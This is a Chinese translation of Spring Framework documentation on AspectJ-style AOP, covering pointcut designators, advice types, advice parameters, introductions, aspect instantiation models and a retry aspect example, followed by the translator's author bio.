形成@Pointcut注解的值的切入点表达式是一个常规的AspectJ 5切入点表达式。有关AspectJ的切入点语言的完整讨论,请参见AspectJ编程指南(以及扩展,包括AspectJ 5开发人员手册)或有关AspectJ的书籍之一(如《Eclipse AspectJ》或《 AspectJ in Action》 )。
支持的切入点指示符
Spring AOP支持以下在切入点表达式中使用的AspectJ切入点指示符(PCD):
execution: 用于匹配方法执行的连接点。这是使用Spring AOP时要使用的主要切入点指示符。
within: 限制对某些类型内的连接点的匹配(使用Spring AOP时在匹配类型内声明的方法的执行)。
this:限制匹配到连接点(使用Spring AOP时方法的执行)的匹配,其中bean引用(Spring AOP代理)是给定类型的实例。
target: 限制匹配到连接点(使用Spring AOP时方法的执行)的匹配,其中目标对象(代理的应用程序对象)是给定类型的实例。
args: 限制匹配到连接点(使用Spring AOP时方法的执行)的匹配,其中参数是给定类型的实例。
@target: 限制匹配到连接点(使用Spring AOP时方法的执行)的匹配,其中执行对象的类具有给定类型的注释。
@args:限制匹配的连接点(使用Spring AOP时方法的执行),其中传递的实际参数的运行时类型具有给定类型的注解。
@within:限制匹配到具有给定注解的类型中的连接点(使用Spring AOP时,使用给定注解在类型中声明的方法的执行)。
@annotation: 将匹配点限制在连接点的主题(Spring AOP中正在执行的方法)具有给定注解的连接点。
其他切入点
完整的AspectJ切入点语言支持Spring不支持的其他切入点指示符:call, get, set, preinitialization,staticinitialization, initialization, handler, adviceexecution, withincode, cflow, cflowbelow, if, @this和@withincode(备注:意思是Spring不支持这些指示符)。在Spring AOP解释的切入点表达式中使用这些切入点指示符会导致抛出IllegalArgumentException。
Spring AOP支持的切入点指示符集合可能会在将来的版本中扩展,以支持更多的 AspectJ切入点指示符。
由于Spring AOP仅将匹配限制为仅方法执行连接点,因此前面对切入点指示符的讨论所给出的定义比在AspectJ编程指南中所能找到的要窄。此外,AspectJ本身具有基于类型的语义,并且在执行连接点处,this和target都引用同一个对象:执行该方法的对象。Spring AOP是基于代理的系统,可区分代理对象本身(绑定到此对象)和代理背后的目标对象(绑定到目标)。
由于Spring的AOP框架基于代理的性质,因此根据定义,不会拦截目标对象内的调用。对于JDK代理,只能拦截代理上的公共接口方法调用。使用CGLIB,将拦截代理上的公共方法和受保护的方法调用(必要时甚至包可见的方法)。但是,通常应通过公共签名设计通过代理进行的常见交互。
请注意,切入点定义通常与任何拦截方法匹配。如果严格地将切入点设置为仅公开使用,即使在CGLIB代理方案中通过代理可能存在非公开交互,也需要相应地进行定义。
如果你的拦截需要在目标类中包括方法调用甚至构造函数,请考虑使用Spring驱动的本地AspectJ编织,而不是Spring的基于代理的AOP框架。这构成了具有不同特征的AOP使用模式,因此在做出决定之前一定要熟悉编织。
Spring AOP还支持其他名为bean的PCD。使用PCD,可以将连接点的匹配限制为特定的命名Spring Bean或一组命名Spring Bean(使用通配符时)。Bean PCD具有以下形式:
bean(idOrNameOfBean)
idOrNameOfBean标记可以是任何Spring bean的名称。提供了使用*字符的有限通配符支持,因此,如果为Spring bean建立了一些命名约定,则可以编写bean PCD表达式来选择它们。与其他切入点指示符一样,bean PCD可以与&&(和)、|| (或)、和!(否定)运算符一起使用。
Bean PCD仅在Spring AOP中受支持,而在本地AspectJ编织中不受支持。它是AspectJ定义的标准PCD的特定于Spring的扩展,因此不适用于@Aspect模型中声明的切面。
Bean PCD在实例级别(基于Spring bean名称概念构建)上运行,而不是仅在类型级别(基于编织的AOP受其限制)上运行。基于实例的切入点指示符是Spring基于代理的AOP框架的特殊功能,并且与Spring bean工厂紧密集成,因此可以自然而直接地通过名称识别特定bean。
组合切入点表达式
你可以使用&&、||和!组合切入点表达式。你还可以按名称引用切入点表达式。以下示例显示了三个切入点表达式:
@Pointcut("execution(public * *(..))")
private void anyPublicOperation() {} //1
@Pointcut("within(com.xyz.someapp.trading..*)")
private void inTrading() {} //2
@Pointcut("anyPublicOperation() && inTrading()")
private void tradingOperation() {} //3
如果方法执行连接点表示任何公共方法的执行,则anyPublicOperation匹配。
如果交易模块中有方法执行,则inTrading匹配。
如果方法执行代表交易模块中的任何公共方法,则tradingOperation匹配。
最佳实践是从较小的命名组件中构建更复杂的切入点表达式,如先前所示。按名称引用切入点时,将应用常规的Java可见性规则(你可以看到相同类型的private切入点,层次结构中protected的切入点,任何位置的public切入点,等等)。可见性不影响切入点匹配。
共享通用切入点定义
在企业级应用中,开发人员通常希望从多个方面引用应用程序的模块和特定的操作集。我们建议为此定义一个 SystemArchitecture切面,以捕获常见的切入点表达式意图。这样的切面通常类似于以下示例:
package com.xyz.someapp;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Pointcut;
@Aspect
public class SystemArchitecture {
/**
* A join point is in the web layer if the method is defined
* in a type in the com.xyz.someapp.web package or any sub-package
* under that.
*/
@Pointcut("within(com.xyz.someapp.web..*)")
public void inWebLayer() {}
/**
* A join point is in the service layer if the method is defined
* in a type in the com.xyz.someapp.service package or any sub-package
* under that.
*/
@Pointcut("within(com.xyz.someapp.service..*)")
public void inServiceLayer() {}
/**
* A join point is in the data access layer if the method is defined
* in a type in the com.xyz.someapp.dao package or any sub-package
* under that.
*/
@Pointcut("within(com.xyz.someapp.dao..*)")
public void inDataAccessLayer() {}
/**
* A business service is the execution of any method defined on a service
* interface. This definition assumes that interfaces are placed in the
* "service" package, and that implementation types are in sub-packages.
*
* If you group service interfaces by functional area (for example,
* in packages com.xyz.someapp.abc.service and com.xyz.someapp.def.service) then
* the pointcut expression "execution(* com.xyz.someapp..service.*.*(..))"
* could be used instead.
*
* Alternatively, you can write the expression using the 'bean'
* PCD, like so "bean(*Service)". (This assumes that you have
* named your Spring service beans in a consistent fashion.)
*/
@Pointcut("execution(* com.xyz.someapp..service.*.*(..))")
public void businessService() {}
/**
* A data access operation is the execution of any method defined on a
* dao interface. This definition assumes that interfaces are placed in the
* "dao" package, and that implementation types are in sub-packages.
*/
@Pointcut("execution(* com.xyz.someapp.dao.*.*(..))")
public void dataAccessOperation() {}
}
你可以在需要切入点表达式的任何地方引用在此切面定义的切入点。例如,要使服务层具有事务性,你可以编写以下内容:
<aop:config>
<aop:advisor
pointcut="com.xyz.someapp.SystemArchitecture.businessService()"
advice-ref="tx-advice"/>
</aop:config>
<tx:advice id="tx-advice">
<tx:attributes>
<tx:method name="*" propagation="REQUIRED"/>
</tx:attributes>
</tx:advice>
在基于schema的AOP支持中讨论了<aop:config>和<aop:advisor>元素。事务管理中讨论了事务元素。
实例
Spring AOP用户可能最常使用execution切入点指示符。执行表达式的格式如下:
execution(modifiers-pattern? ret-type-pattern declaring-type-pattern?name-pattern(param-pattern)
throws-pattern?)
除了返回类型模式(前面的代码片段中的ret-type-pattern),名称模式(name-pattern)和参数模式(param-pattern)以外的所有部分都是可选的。返回类型模式确定要匹配连接点、方法的返回类型必须是什么。最常用作返回类型模式。它匹配任何返回类型。仅当方法返回给定类型时,标准类型名称才匹配。名称模式与方法名称匹配。你可以将通配*符用作名称模式的全部或一部分。如果你指定了声明类型模式,请在其后加上.将其加入名称模式组件。参数模式稍微复杂一些:()匹配不带参数的方法,而(..)匹配任意数量(零个或多个)的参数。(*)模式与采用任何类型的一个参数的方法匹配。(*,String)与采用两个参数的方法匹配。第一个可以是任何类型,而第二个必须是字符串。有关更多信息,请查阅AspectJ编程指南的“语言语义”部分。
以下示例显示了一些常用的切入点表达式:
任何公共方法的执行:
execution(public * *(..))
名称以set开头的任何方法的执行:
execution(* set*(..))
AccountService接口定义的任何方法的执行:
execution(* com.xyz.service.AccountService.*(..))
service包中定义的任何方法的执行:
execution(* com.xyz.service. * . * (..))
service包或其子包之一中定义的任何方法的执行:
execution(* com.xyz.service . . * . *(..))
service包中的任何连接点(仅在Spring AOP中执行方法):
within(com.xyz.service.*)
service包或其子包之一中的任何连接点(仅在Spring AOP中执行方法):
within(com.xyz.service..*)
代理实现AccountService接口的任何连接点(仅在Spring AOP中执行方法):
this(com.xyz.service.AccountService)
this通常以绑定形式使用。有关如何在通知正文中使代理对象可用的信息,请参阅“声明通知”部分
目标对象实现AccountService接口的任何连接点(仅在Spring AOP中执行方法):
target(com.xyz.service.AccountService)
target通常以绑定形式使用。有关如何使目标对象在建议正文中可用的信息,请参见“声明通知”部分。
任何采用单个参数并且在运行时传递的参数为Serializable的连接点(仅在Spring AOP中执行方法):
args(java.io.Serializable)
args通常以绑定形式使用。有关如何使方法参数在通知正文中可用的信息,请参见“声明通知”部分。
请注意,此示例中给出的切入点与execution(* *(java.io.Serializable))不同。如果在运行时传递的参数为Serializable,则args版本匹配;如果方法签名声明一个类型为Serializable的参数,则执行版本匹配。
目标对象具有@Transactional注解的任何连接点(仅在Spring AOP中方法执行):
@target(org.springframework.transaction.annotation.Transactional)
你也可以在绑定形式中使用@target。有关如何使注解对象在建议正文中可用的信息,请参见“声明通知”部分。
目标对象的声明类型具有@Transactional注解的任何连接点(仅在Spring AOP中方法执行):
@within(org.springframework.transaction.annotation.Transactional)
你也可以在绑定形式中使用@within。有关如何使注解对象在通知正文中可用的信息,请参见“声明通知”部分。
任何执行方法带有@Transactional注解的连接点(仅在Spring AOP中是方法执行):
@annotation(org.springframework.transaction.annotation.Transactional)
你也可以在绑定形式中使用@annotation。有关如何使注解对象在通知正文中可用的信息,请参见“声明通知”部分。
任何采用单个参数的连接点(仅在Spring AOP中是方法执行),并且传递的参数的运行时类型具有@Classified注解:
@args(com.xyz.security.Classified)
你也可以在绑定形式中使用@args。请参阅“声明通知”部分,如何使通知对象中的注解对象可用。
名为tradeService的Spring bean上的任何连接点(仅在Spring AOP中执行方法):
bean(tradeService)
Spring Bean上具有与通配符表达式* Service匹配的名称的任何连接点(仅在Spring AOP中才执行方法):
bean(*Service)
写一个好的连接点
在编译期间,AspectJ处理切入点以优化匹配性能。检查代码并确定每个连接点是否(静态或动态)匹配给定的切入点是一个耗时的过程。(动态匹配意味着无法从静态分析中完全确定匹配,并且在代码中进行了测试以确定在运行代码时是否存在实际匹配)。首次遇到切入点声明时,AspectJ将其重写为匹配过程的最佳形式。这是什么意思?基本上,切入点以DNF(析取范式)重写,并且对切入点的组件进行排序,以便首先检查那些较便宜(消耗最小)的组件。这意味着你不必担心理解各种切入点指示符的性能,并且可以在切入点声明中以任何顺序提供它们。
但是,AspectJ只能使用所告诉的内容。为了获得最佳的匹配性能,你应该考虑他们试图达到的目标,并在定义中尽可能缩小匹配的搜索空间。现有的指示符自然分为三类之一:同类、作用域和上下文:
Kinded指示器选择特定类型的连接点:execution、 get、 set、call和 handler。
Scoping指示器选择一组感兴趣的连接点(可能是多种类型的):within和withincode
Contextual指示符根据上下文匹配(和可选绑定):this、target和@annotation
编写正确的切入点至少应包括前两种类型(Kinded和Scoping)。你可以包括上下文指示符以根据连接点上下文进行匹配,也可以绑定该上下文以在通知中使用。仅提供Kinded的标识符或仅提供Contextual的标识符是可行的,但是由于额外的处理和分析,可能会影响编织性能(使用的时间和内存)。Scoping指定符的匹配非常快,使用它们意味着AspectJ可以非常迅速地消除不应进一步处理的连接点组。一个好的切入点应尽可能包括一个切入点。
参考代码:com.liyong.ioccontainer.starter.AopIocContiner
5.4.4 声明通知
通知与切入点表达式关联,并且在切入点匹配的方法执行之前、之后或周围运行。切入点表达式可以是对命名切入点的简单引用,也可以是在适当位置声明的切入点表达式。
前置通知
你可以使用@Before注解在一个切面中声明前置通知:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
@Aspect
public class BeforeExample {
@Before("com.xyz.myapp.SystemArchitecture.dataAccessOperation()")
public void doAccessCheck() {
// ...
}
}
如果使用就地切入点表达式,则可以将前面的示例重写为以下示例:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
@Aspect
public class BeforeExample {
@Before("execution(* com.xyz.myapp.dao.*.*(..))")
public void doAccessCheck() {
// ...
}
}
返回通知
在当匹配方法正常的执行返回时,返回通知运行。你可以使用@AfterReturning注解进行声明:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.AfterReturning;
@Aspect
public class AfterReturningExample {
@AfterReturning("com.xyz.myapp.SystemArchitecture.dataAccessOperation()")
public void doAccessCheck() {
// ...
}
}
你可以在同一切面内拥有多个通知声明(以及其他成员)。在这些示例中,我们仅显示单个通知声明,以及其中每个通知的效果。
有时,你需要在通知正文中访问返回的实际值。你可以使用@AfterReturning的形式绑定返回值以获取该访问,如以下示例所示:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.AfterReturning;
@Aspect
public class AfterReturningExample {
@AfterReturning(
pointcut="com.xyz.myapp.SystemArchitecture.dataAccessOperation()",
returning="retVal")
public void doAccessCheck(Object retVal) {
// ...
}
}
返回属性中使用的名称必须与advice方法中的参数名称相对应。当方法执行返回时,返回值将作为相应的参数值传递到通知方法。returning也将匹配限制为仅返回指定类型值的方法执行(在这种情况下为Object,它匹配任何返回值)。
请注意,当使用返回后通知时,不可能返回完全不同的引用。
异常后置通知
在抛异常通知后,当匹配的方法执行通过抛出异常退出时运行。你可以使用@AfterThrowing注解进行声明,如以下示例所示:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.AfterThrowing;
@Aspect
public class AfterThrowingExample {
@AfterThrowing("com.xyz.myapp.SystemArchitecture.dataAccessOperation()")
public void doRecoveryActions() {
// ...
}
}
通常,你希望通知仅在引发给定类型的异常时才运行,并且你通常还需要访问通知正文中的引发异常。你可以使用throwing属性来限制匹配(如果需要)(否则,请使用Throwable作为异常类型),并将抛出的异常绑定到通知的参数。以下示例显示了如何执行此操作:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.AfterThrowing;
@Aspect
public class AfterThrowingExample {
@AfterThrowing(
pointcut="com.xyz.myapp.SystemArchitecture.dataAccessOperation()",
throwing="ex")
public void doRecoveryActions(DataAccessException ex) {
// ...
}
}
throwing属性中使用的名称必须与通知方法中的参数名称相对应。当通过抛出异常退出方法执行时,该异常将作为相应的参数值传递给通知的方法。throwing还将匹配仅限制为抛出指定类型的异常(在这种情况下为DataAccessException)的方法执行。
最终通知
当匹配的方法执行退出时,通知(最终)运行。通过使用@After注解声明它。之后必须准备处理正常和异常返回条件的通知。它通常用于释放资源和类似目的。以下示例显示了最终通知的用法:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.After;
@Aspect
public class AfterFinallyExample {
@After("com.xyz.myapp.SystemArchitecture.dataAccessOperation()")
public void doReleaseLock() {
// ...
}
}
环绕通知
最后一种通知是环绕通知。环绕通知在匹配方法的执行过程中“环绕”运行。它有机会在方法执行之前和之后执行工作,并确定何时、如何执行,甚至是否真的执行方法。如果需要以线程安全的方式(例如,启动和停止计时器)在方法执行之前和之后共享状态,则通常使用环绕通知。始终使用能力最小的通知来满足你的要求(也就是说,在通知可以使前置通知时,请勿用环绕通知)。
通过使用@Around注解来声明环绕通知。通知方法的第一个参数必须是ProceedingJoinPoint类型。在通知的正文中,在ProceedingJoinPoint上调用proceed()会使底层(真正的执行方法)方法执行。proceed方法也可以传入Object []。数组中的值用作方法执行时的参数。
当用Object []进行调用时,proceed的行为与AspectJ编译器所编译的around 通知的proceed为略有不同。对于使用传统AspectJ语言编写的环绕通知,传递给proceed的参数数量必须与传递给环绕通知的参数数量(而不是基础连接点采用的参数数量)相匹配,并且传递给给定的参数位置会取代该值绑定到的实体的连接点处的原始值(不要担心,如果这现在没有意义)。Spring采取的方法更简单,并且更适合其基于代理的,仅执行的语义。如果你编译为Spring编写的@AspectJ切面,并在AspectJ编译器和weaver中使用参数进行处理,则只需要意识到这种区别。有一种方法可以在Spring AOP和AspectJ之间100%兼容,并且在下面有关通知参数的部分中对此进行了讨论。
以下示例显示了如何使用环绕通知:
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.ProceedingJoinPoint;
@Aspect
public class AroundExample {
@Around("com.xyz.myapp.SystemArchitecture.businessService()")
public Object doBasicProfiling(ProceedingJoinPoint pjp) throws Throwable {
// start stopwatch
Object retVal = pjp.proceed();
// stop stopwatch
return retVal;
}
}
环绕通知返回的值是该方法的调用者看到的返回值。例如,如果一个简单的缓存切面有一个值,则它可以从缓存中返回一个值,如果没有,则调用proceed()。请注意,在环绕通知的正文中,proceed可能被调用一次,多次或完全不被调用。所有这些都是合法的。
参考代码:com.liyong.ioccontainer.starter.AopIocContiner
通知参数
Spring提供了完全类型化的通知,这意味着你可以在通知签名中声明所需的参数(如我们先前在返回和抛出示例中所看到的),而不是一直使用Object []数组。我们将在本节的后面部分介绍如何使参数和其他上下文值可用于通知主体。首先,我们看一下如何编写通用通知,以了解该通知当前通知的方法。
获取当前JoinPoint
任何通知方法都可以将org.aspectj.lang.JoinPoint类型的参数声明为其第一个参数。请注意,环绕通知声明ProceedingJoinPoint类型为第一个参数,该参数是JoinPoint的子类。JoinPoint接口提供了许多有用的方法:
getArgs(): 返回方法参数。
getThis(): 返回代理对象。
getTarget(): 返回目标对象。
getSignature(): 返回通知使用的方法的描述。
toString(): 打印有关所有通知方法的有用描述。
有关更多详细信息,请参见javadoc。
传递参数给通知
我们已经看到了如何绑定返回的值或异常值(在返回之后和引发通知之后)。要使参数值可用于通知正文,可以使用args的绑定形式。如果在args表达式中使用参数名称代替类型名称,则在调用通知时会将相应参数的值作为参数值传递。一个例子应该使这一点更清楚。假设你要通知以Account对象作为第一个参数的DAO操作的执行,并且你需要在通知正文中访问该帐户。你可以编写以下内容:
@Before("com.xyz.myapp.SystemArchitecture.dataAccessOperation() && args(account,..)")
public void validateAccount(Account account) {
// ...
}
切入点表达式的args(account,..)部分有两个用途。首先,它将匹配限制为仅方法采用至少一个参数且传递给该参数的参数为Account实例的那些方法执行。其次,它通过account参数使实际的Account对象可用于通知。
写这个的另一种方法是声明一个切入点,当它匹配一个连接点时提供Account对象值,然后从通知中引用命名的切入点。如下所示:
@Pointcut("com.xyz.myapp.SystemArchitecture.dataAccessOperation() && args(account,..)")
private void accountDataAccessOperation(Account account) {}
@Before("accountDataAccessOperation(account)")
public void validateAccount(Account account) {
// ...
}
有关更多详细信息,请参见AspectJ编程指南。
代理对象(this)、目标对象(target)和注解(@within,@target,@annotation和@args)都可以以类似的方式绑定。接下来的两个示例显示如何匹配使用@Auditable注解的方法的执行并提取审计代码:
这两个示例中的第一个显示了@Auditable注解的定义:
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Auditable {
AuditCode value();
}
这两个示例中的第二个示例显示了与@Auditable方法的执行相匹配的通知:
@Before("com.xyz.lib.Pointcuts.anyPublicMethod() && @annotation(auditable)")
public void audit(Auditable auditable) {
AuditCode code = auditable.value();
// ...
}
通知参数和泛型
Spring AOP可以处理类声明和方法参数中使用的泛型。假设你具有如下通用类型:
public interface Sample<T> {
void sampleGenericMethod(T param);
void sampleGenericCollectionMethod(Collection<T> param);
}
你可以通过在要拦截方法的参数类型中键入advice参数,将方法类型的拦截限制为某些参数类型:
@Before("execution(* ..Sample+.sampleGenericMethod(*)) && args(param)")
public void beforeSampleMethod(MyType param) {
// Advice implementation
}
这种方法不适用于泛型集合。因此,你不能按以下方式定义切入点:
@Before("execution(* ..Sample+.sampleGenericCollectionMethod(*)) && args(param)")
public void beforeSampleMethod(Collection<MyType> param) {
// Advice implementation
}
为了使这项工作有效,我们将不得不检查集合的每个元素,这是不合理的,因为我们也无法决定通常如何处理null。要实现类似的目的,你必须将参数键入Collection <?>并手动检查元素的类型。
确定参数名称
通知调用中的参数绑定依赖于切入点表达式中使用的名称与通知和切入点方法签名中声明的参数名称的匹配。
通过Java反射无法获得参数名称,因此Spring AOP使用以下策略来确定参数名称:
如果用户已明确指定参数名称,则使用指定的参数名称。通知和切入点注解均具有可选的argNames属性,你可以使用该属性来指定带注解的方法的参数名称。这些参数名称在运行时可用。以下示例显示如何使用argNames属性:
@Before(value="com.xyz.lib.Pointcuts.anyPublicMethod() && target(bean) && @annotation(auditable)",
argNames="bean,auditable")
public void audit(Object bean, Auditable auditable) {
AuditCode code = auditable.value();
// ... use code and bean
}
如果第一个参数是JoinPoint、ProceedingJoinPoint或JoinPoint.StaticPart类型,则可以从argNames属性的值中忽略该参数的名称。例如,如果你修改前面的通知以接收连接点对象,则argNames属性不需要包括它:
@Before(value="com.xyz.lib.Pointcuts.anyPublicMethod() && target(bean) && @annotation(auditable)",
argNames="bean,auditable")
public void audit(JoinPoint jp, Object bean, Auditable auditable) {
AuditCode code = auditable.value();
// ... use code, bean, and jp
}
对JoinPoint、ProceedingJoinPoint和JoinPoint.StaticPart类型的第一个参数给予的特殊处理对于不收集任何其他连接点上下文的通知实例特别方便。在这种情况下,你可以省略argNames属性。例如,以下通知无需声明argNames属性:
@Before("com.xyz.lib.Pointcuts.anyPublicMethod()")
public void audit(JoinPoint jp) {
// ... use jp
}
使用'argNames'属性有点笨拙,因此,如果未指定'argNames'属性,Spring AOP将查找该类的调试信息,并尝试从局部变量表中确定参数名称。只要已使用调试信息(至少是 -g:vars)编译了类,此信息就会存在。 启用此标志时进行编译的后果是:(1)你的代码稍微易于理解(逆向工程),(2)类文件的大小略大(通常无关紧要),(3)编译器未应用删除未使用的局部变量的优化。换句话说,通过启用该标志,你应该不会遇到任何困难。
如果即使没有调试信息,AspectJ编译器(ajc)都已编译@AspectJ切面,则无需添加argNames属性,因为编译器会保留所需的信息。
如果在没有必要调试信息的情况下编译了代码,Spring AOP将尝试推断绑定变量与参数的配对(例如,如果切入点表达式中仅绑定了一个变量,并且advice方法仅接受一个参数,则配对很明显)。如果在给定可用信息的情况下变量的绑定不明确,则抛出AmbiguousBindingException。
如果以上所有策略均失败,则抛出IllegalArgumentException。
proceed参数
前面我们提到过,我们将描述如何编写一个在Spring AOP和AspectJ中始终有效的参数的proceed调用。解决方案是确保通知签名按顺序绑定每个方法参数。以下示例显示了如何执行此操作:
@Around("execution(List<Account> find*(..)) && " +
"com.xyz.myapp.SystemArchitecture.inDataAccessLayer() && " +
"args(accountHolderNamePattern)")
public Object preProcessQueryPattern(ProceedingJoinPoint pjp,
String accountHolderNamePattern) throws Throwable {
String newPattern = preProcess(accountHolderNamePattern);
return pjp.proceed(new Object[] {newPattern});
}
在许多情况下,无论如何都要进行此绑定(如上例所示)。
通知顺序
当多条通知都希望在同一连接点上运行时会发生什么? Spring AOP遵循与AspectJ相同的优先级规则来确定通知执行的顺序。优先级最高的通知在进入时首先运行(因此,给定两个before通知,优先级最高的通知首先运行)。在从连接点出来的过程中,优先级最高的通知最后运行(因此,给定两个after通知,优先级最高的通知将排在第二)。
在不同切面定义的两个通知都需要在同一个连接点上运行时,除非另行指定,否则执行顺序是未定义的。你可以通过指定优先级来控制执行顺序。通过在切面类中实现org.springframework.core.Ordered接口或使用Order注解对其进行注解,可以通过常规的Spring方法来完成。给定两个切面,从Ordered.getValue()(或注解值)返回较低值的切面具有较高的优先级
当在同一个切面中定义的两个通知都需要在同一个连接点上运行时,顺序是未定义的(因为无法通过java编译类的反射检索声明顺序)。考虑将此类通知方法分解为每个切面类中的每个连接点的一个通知方法,或者将通知片段重构为可以在切面级别排序的单独切面类。
5.4.5 引入
引入(在AspectJ中称为类型间声明)使能够声明已通知的对象实现给定接口,并代表这些对象提供该接口的实现。
你可以使用@DeclareParents注解进行介绍。此注解用于声明匹配类型具有新的父类(因此具有名称)。例如,给定一个名为UsageTracked的接口和该接口的一个名为DefaultUsageTracked的实现,下面的切面声明了服务接口的所有实现者也实现了UsageTracked接口(例如通过JMX公开统计信息):
@Aspect
public class UsageTracking {
@DeclareParents(value="com.xzy.myapp.service.*+", defaultImpl=DefaultUsageTracked.class)
public static UsageTracked mixin;
@Before("com.xyz.myapp.SystemArchitecture.businessService() && this(usageTracked)")
public void recordUsage(UsageTracked usageTracked) {
usageTracked.incrementUseCount();
}
}
要实现的接口由带注解的字段的类型确定。@DeclareParents注解的value属性是AspectJ类型的模式。匹配类型的任何bean都实现UsageTracked接口。注意,在前面示例的before通知中,服务bean可以直接用作UsageTracked接口的实现。如果以编程方式访问bean,则应编写以下内容:
UsageTracked usageTracked = (UsageTracked) context.getBean("myService");
参考代码:com.liyong.ioccontainer.starter.AopDeclareParentsIocContiner
5.4.6 切面实例化模型
这是一个高级主题。如果你刚开始使用AOP,则可以放心地跳过它,直到以后。
默认情况下,应用程序上下文中每个切面都有一个实例。 AspectJ将此称为单例实例化模型。可以使用bean生命周期来定义切面。Spring支持AspectJ的perthis和pertarget实例化模型(当前不支持percflow,percflowbelow和pertypewithin)。
你可以通过在@Aspect注解中指定perthis来声明perthis切面。考虑以下示例:
@Aspect("perthis(com.xyz.myapp.SystemArchitecture.businessService())")
public class MyAspect {
private int someState;
@Before(com.xyz.myapp.SystemArchitecture.businessService())
public void recordServiceUsage() {
// ...
}
}
在前面的示例中,“ perthis”子句的作用是为每个执行业务服务的唯一服务对象(每个与切入点表达式匹配的连接点绑定到“ this”的唯一对象)创建一个切面实例。切面实例是在服务对象上首次调用方法时创建的。当服务对象超出范围时,切面将超出范围。在创建切面实例之前,其中的任何通知都不会执行。一旦创建了切面实例,在其中声明的通知就会在匹配的连接点上执行,但仅当服务对象与此切面相关联时才执行。有关每个子句的更多信息,请参见AspectJ编程指南。
pertarget实例化模型的工作方式与perthis完全相同,但是它在匹配的连接点为每个唯一目标对象创建一个切面实例。
5.4.7 AOP例子
现在你已经了解了所有组成部分是如何工作的,我们可以将它们组合在一起做一些有用的事情。
有时由于并发问题(例如,死锁失败),业务服务的执行可能会失败。如果重试该操作,则很可能在下一次尝试中成功。对于适合在这种情况下重试的业务服务(不需要为解决冲突而需要返回给用户的幂等操作),我们希望透明地重试该操作,以避免客户端看到PessimisticLockingFailureException。这是一个明显跨越服务层中的多个服务的需求,因此非常适合通过切面实现。
因为我们想重试该操作,所以我们需要使用环绕通知,以便可以多次调用proceed。以下清单显示了基本切面的实现:
@Aspect
public class ConcurrentOperationExecutor implements Ordered {
private static final int DEFAULT_MAX_RETRIES = 2;
private int maxRetries = DEFAULT_MAX_RETRIES;
private int order = 1;
public void setMaxRetries(int maxRetries) {
this.maxRetries = maxRetries;
}
public int getOrder() {
return this.order;
}
public void setOrder(int order) {
this.order = order;
}
@Around("com.xyz.myapp.SystemArchitecture.businessService()")
public Object doConcurrentOperation(ProceedingJoinPoint pjp) throws Throwable {
int numAttempts = 0;
PessimisticLockingFailureException lockFailureException;
do {
numAttempts++;
try {
return pjp.proceed();
}
catch(PessimisticLockingFailureException ex) {
lockFailureException = ex;
}
} while(numAttempts <= this.maxRetries);
throw lockFailureException;
}
}
请注意,切面实现了Ordered接口,以便我们可以将切面的优先级设置为高于事务通知的优先级(每次重试时都需要一个新的事务)。maxRetries和order属性均由Spring配置。通知的主要动作发生在doConcurrentOperation中。请注意,目前,我们将重试逻辑应用于每个businessService()。我们尝试继续,如果失败并出现PessimisticLockingFailureException,则我们将再次重试,除非我们用尽了所有重试尝试。
对应的Spring配置如下:
<aop:aspectj-autoproxy/>
<bean id="concurrentOperationExecutor" class="com.xyz.myapp.service.impl.ConcurrentOperationExecutor">
<property name="maxRetries" value="3"/>
<property name="order" value="100"/>
</bean>
为了完善切面,使其仅重试幂等操作,我们可以定义以下幂等注解:
@Retention(RetentionPolicy.RUNTIME)
public @interface Idempotent {
// marker annotation
}
然后,我们可以使用注解来注释服务操作的实现。切面更改为仅重试幂等操作涉及更改切入点表达式,以便仅@Idempotent操作匹配,如下所示:
@Around("com.xyz.myapp.SystemArchitecture.businessService() && " +
"@annotation(com.xyz.myapp.service.Idempotent)")
public Object doConcurrentOperation(ProceedingJoinPoint pjp) throws Throwable {
// ...
}
作者
个人从事金融行业,就职过易极付、思建科技、某网约车平台等重庆一流技术团队,目前就职于某银行负责统一支付系统建设。自身对金融行业有强烈的爱好。同时也实践大数据、数据存储、自动化集成和部署、分布式微服务、响应式编程、人工智能等领域。同时也热衷于技术分享创立公众号和博客站点对知识体系进行分享。关注公众号:青年IT男 获取最新技术文章推送!
博客地址: http://youngitman.tech
CSDN: https://blog.csdn.net/liyong1028826685
微信公众号:
技术交流群: